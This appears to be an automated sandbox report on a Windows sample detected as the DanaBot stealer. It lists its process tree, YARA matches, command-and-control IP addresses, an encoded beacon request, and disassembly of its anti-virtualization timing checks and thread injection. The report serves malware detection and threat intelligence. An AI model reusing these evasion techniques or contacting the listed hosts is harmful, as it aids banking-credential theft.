Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	828778
MD5:	50b28c8b39d65e49be2873ef4fae4955
SHA1:	a13c4d71e4add3ba31d6d1b10cc927c953676455
SHA256:	5daeae2494873409b8b59fd1adde883ce972d9a1d9616ce7d9067aaa3527ed7f
Tags:	exe
Infos:

Detection

DanaBot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected UAC Bypass using CMSTP

Multi AV Scanner detection for submitted file

Yara detected DanaBot stealer dll

Malicious sample detected (through community Yara rule)

Detected unpacking (overwrites its own PE header)

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Machine Learning detection for sample

Tries to detect virtualization through RDTSC time measurements

Modifies the context of a thread in another process (thread injection)

May use the Tor software to hide its network traffic

Uses 32bit PE files

Yara signature match

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Queries the installation date of Windows

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Queries information about the installed CPU (vendor, model number etc)

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

Drops PE files

Classification

Process Tree

System is w10x64

file.exe (PID: 5480 cmdline: C:\Users\user\Desktop\file.exe MD5: 50B28C8B39D65E49BE2873EF4FAE4955)

rundll32.exe (PID: 780 cmdline: C:\Windows\system32\rundll32.exe C:\Users\user\AppData\Local\Temp\Wtoahoepfise.dll,start MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 3144 cmdline: "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 25064 MD5: 73C519F050C20580F8A62C849D49215A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DanaBot	Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social usering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on quality over quantity in email-based threats. DanaBots modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.	SCULLY SPIDER	https://asec.ahnlab.com/en/30445/ https://asert.arbornetworks.com/danabots-travels-a-global-perspective/ https://assets.virustotal.com/reports/2021trends.pdf https://blog.lexfo.fr/danabot-malware.html https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/	https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\Wtoahoepfise.dll	JoeSecurity_DanaBot_stealer_dll_1	Yara detected DanaBot stealer dll	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.280144757.00000000049F4000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000001.00000003.305982722.000000007DEE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.281518960.0000000004C70000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.264404925.000000007F8F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DanaBot_stealer_dll_1	Yara detected DanaBot stealer dll	Joe Security
00000000.00000003.277694243.000000007F5B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DanaBot_stealer_dll_1	Yara detected DanaBot stealer dll	Joe Security
00000001.00000003.310891482.000000007DFD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: rundll32.exe PID: 780	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Click to see the 2 entries

HTTP traffic detected: GET /GEh3U9hPrJJwiuW8cho3jCQDNgYCHdRlDEu1WOn0Ju1N1JFHnMzh5eNDh/He3mJvg/hYeEa9QxZcsAyAxF4ton1GooJihoH36n0t0cTooI+JPxSqsRWGh/FDvChed96F75Q8IU7duptDur55qQIlaNXvvdn936kJouS5Vp0XmSneT4/HADhooNg= HTTP/1.1Host: 104.234.147.45

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45
Source: unknown	TCP traffic detected without corresponding DNS query: 104.234.147.45

Source: rundll32.exe, 00000001.00000003.310450396.000000007D830000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: rundll32.exe, 00000001.00000003.310450396.000000007D830000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: rundll32.exe, 00000001.00000003.310450396.000000007D830000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd

Source: global traffic

Source: unknown

HTTPS traffic detected: 104.234.147.45:443 -> 192.168.2.6:49710 version: TLS 1.2

E-Banking Fraud

Yara detected DanaBot stealer dll

Source: Yara match	File source: 00000000.00000003.264404925.000000007F8F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.277694243.000000007F5B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Wtoahoepfise.dll, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.280144757.00000000049F4000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.281518960.0000000004C70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.280144757.00000000049F4000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.281518960.0000000004C70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: C:\Windows\System32\rundll32.exe

Code function: 11_2_000002633C9038A0

11_2_000002633C9038A0

Source: file.exe, 00000000.00000003.278435880.00000000051C8000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: OriginalFilenamekernel32j% vs file.exe

Source: file.exe	ReversingLabs: Detection: 41%
Source: file.exe	Virustotal: Detection: 40%

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32.exe C:\Users\user\AppData\Local\Temp\Wtoahoepfise.dll,start
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 25064
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32.exe C:\Users\user\AppData\Local\Temp\Wtoahoepfise.dll,start	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 25064	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\Wtoahoepfise.dll

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@5/17@0/6

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32.exe C:\Users\user\AppData\Local\Temp\Wtoahoepfise.dll,start

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static file information: File size 2806272 > 1048576

Source: file.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x284a00

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\daj\22-vey\wuwiluwacimuhu\67 jarufena.pdb source: file.exe
Source:	Binary string: F<C:\daj\22-vey\wuwiluwacimuhu\67 jarufena.pdb source: file.exe

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.itext:ER;.data:W;.bss:W;.idata:W;.didata:W;.edata:R;.tls:W;.rdata:R;.reloc:R;.rsrc:R;

Source: C:\Windows\System32\rundll32.exe	Code function: 11_2_000002633C8F3243 push rax; retf		11_2_000002633C8F3244
Source: C:\Windows\System32\rundll32.exe	Code function: 11_2_00652B93 push eax; retf		11_2_00652B94

Source: Wtoahoepfise.dll.0.dr

Static PE information: section name: .didata

Source: C:\Windows\System32\rundll32.exe

Code function: 11_2_00650244 LoadLibraryA,GetProcAddressForCaller,

11_2_00650244

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\Wtoahoepfise.dll

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

May use the Tor software to hide its network traffic

Source: rundll32.exe, 00000001.00000003.310891482.000000007DFD0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000001.00000003.304883928.000000007DC70000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000001.00000003.308258574.000000007CEA0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: torConnect

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 00000000056DC6CF second address: 00000000056DC55F instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [05789048h], edx 0x00000008 mov eax, 00000001h 0x0000000d cmp eax, 00000000h 0x00000010 jnl 00007F68A0FE07A3h 0x00000012 call 00007F68A0FE05E6h 0x00000017 push ebp 0x00000018 mov ebp, esp 0x0000001a mov ecx, 00000006h 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 dec ecx 0x00000024 jne 00007F68A0FE079Bh 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a dec ecx 0x0000002b jne 00007F68A0FE079Bh 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 dec ecx 0x00000032 jne 00007F68A0FE079Bh 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 dec ecx 0x00000039 jne 00007F68A0FE079Bh 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f dec ecx 0x00000040 jne 00007F68A0FE079Bh 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 dec ecx 0x00000047 jne 00007F68A0FE079Bh 0x00000049 push ecx 0x0000004a xor eax, eax 0x0000004c push ebp 0x0000004d push 056DC603h 0x00000052 push dword ptr fs:[eax] 0x00000055 mov dword ptr fs:[eax], esp 0x00000058 mov dword ptr [ebp-08h], 00000001h 0x0000005f inc dword ptr [ebp-08h] 0x00000062 inc dword ptr [ebp-08h] 0x00000065 inc dword ptr [ebp-08h] 0x00000068 inc dword ptr [ebp-08h] 0x0000006b inc dword ptr [ebp-08h] 0x0000006e inc dword ptr [ebp-08h] 0x00000071 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 00000000056DC1F8 second address: 00000000056DC285 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 056D9C0Ch 0x00000007 mov dword ptr [05785630h], eax 0x0000000c mov eax, 00000001h 0x00000011 cmp eax, 00000000h 0x00000014 jnc 00007F68A0B52713h 0x00000016 mov eax, 00000000h 0x0000001b cmp eax, 00000000h 0x0000001e je 00007F68A0B52713h 0x00000020 cmp word ptr [ebp-26h], 006Ah 0x00000025 je 00007F68A0B52879h 0x0000002b jmp 00007F68A0B52713h 0x0000002d call 00007F68A0B52715h 0x00000032 pop eax 0x00000033 add eax, 09h 0x00000036 push eax 0x00000037 retn 0000h 0x0000003a mov eax, 00000001h 0x0000003f cmp eax, 00000000h 0x00000042 jnl 00007F68A0B52713h 0x00000044 jmp 00007F68A0B52713h 0x00000046 mov eax, 00000000h 0x0000004b cmp eax, 00000000h 0x0000004e je 00007F68A0B52713h 0x00000050 mov eax, 00000000h 0x00000055 cmp eax, 01h 0x00000058 jl 00007F68A0B52713h 0x0000005a mov eax, 00000000h 0x0000005f cmp eax, 01h 0x00000062 jc 00007F68A0B52713h 0x00000064 mov eax, 00000001h 0x00000069 cmp eax, 00000000h 0x0000006c jnle 00007F68A0B52713h 0x0000006e cmp byte ptr [ebp-1Fh], 00000001h 0x00000072 je 00007F68A0B52824h 0x00000078 mov ebx, 00000000h 0x0000007d cmp ebx, 00000000h 0x00000080 jnl 00007F68A0B52713h 0x00000082 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 00000000056DC285 second address: 00000000056DC29C instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [0578904Ch], edx 0x00000008 mov eax, 00000001h 0x0000000d cmp eax, 00000000h 0x00000010 jnle 00007F68A0FE07A3h 0x00000012 mov byte ptr [ebp-24h], 00000068h 0x00000016 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 00000000056DC29C second address: 00000000056DC2C6 instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-23h], 00000001h 0x00000009 mov eax, 00000001h 0x0000000e cmp eax, 00000000h 0x00000011 jnc 00007F68A0B52713h 0x00000013 mov byte ptr [ebp-1Fh], FFFFFFB8h 0x00000017 mov eax, 00000000h 0x0000001c cmp eax, 01h 0x0000001f jl 00007F68A0B52713h 0x00000021 mov dword ptr [ebp-1Eh], 056DB4C8h 0x00000028 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 00000000056DC2C6 second address: 00000000056DC2F0 instructions: 0x00000000 rdtsc 0x00000002 mov word ptr [ebp-1Ah], D0FFh 0x00000008 mov eax, 00000000h 0x0000000d cmp eax, 01h 0x00000010 jc 00007F68A0FE07A3h 0x00000012 mov word ptr [ebp-26h], 006Ah 0x00000018 mov eax, 00000000h 0x0000001d cmp eax, 01h 0x00000020 jl 00007F68A0FE07A3h 0x00000022 lea eax, dword ptr [ebp-14h] 0x00000025 mov dword ptr [ebp-04h], eax 0x00000028 rdtsc

Source: C:\Windows\SysWOW64\rundll32.exe TID: 4228	Thread sleep time: -48000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 5680	Thread sleep time: -79600s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 4228	Thread sleep time: -30500s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 4948	Thread sleep time: -74600s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 1952	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Wtoahoepfise.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 480	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 796	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 746	Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Code function: 11_2_000002633C903DD0 FindFirstFileW,FindClose,

11_2_000002633C903DD0

Source: C:\Windows\SysWOW64\rundll32.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: rundll32.exe, 00000001.00000003.305982722.000000007DEE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VBoxService.exe
Source: rundll32.exe, 00000001.00000003.310891482.000000007DFD0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000001.00000003.314269169.000000007C450000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000001.00000003.303257735.000000007DE50000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000001.00000003.308258574.000000007CEA0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000001.00000003.304112174.000000007D830000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VBoxMRXNP.dll
Source: file.exe, 00000000.00000003.264404925.000000007F8F0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.277694243.000000007F5B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VBoxHook.dll
Source: rundll32.exe, 00000001.00000003.310891482.000000007DFD0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000001.00000003.305982722.000000007DEE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VBoxTray.exeU
Source: rundll32.exe, 0000000B.00000002.660227961.000002633C7BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\rundll32.exe

Code function: 11_2_00650244 LoadLibraryA,GetProcAddressForCaller,

11_2_00650244

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 188.191.106.71 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 104.234.147.45 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 104.234.11.33 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 62.101.147.99 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 23.254.226.136 443	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\rundll32.exe

Thread register set: target process: 3144

Jump to behavior

Source: rundll32.exe, 00000001.00000003.310891482.000000007DFD0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000001.00000003.304883928.000000007DC70000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000001.00000003.308258574.000000007CEA0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndTrayNotifyWndSysPagerToolbarWindow32U
Source: rundll32.exe, 00000001.00000003.310891482.000000007DFD0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000001.00000003.314269169.000000007C450000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000001.00000003.303257735.000000007DE50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SetProgmanWindow

Source: C:\Windows\System32\rundll32.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,		11_2_000002633C903F80
Source: C:\Windows\System32\rundll32.exe	Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,		11_2_000002633C903030

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
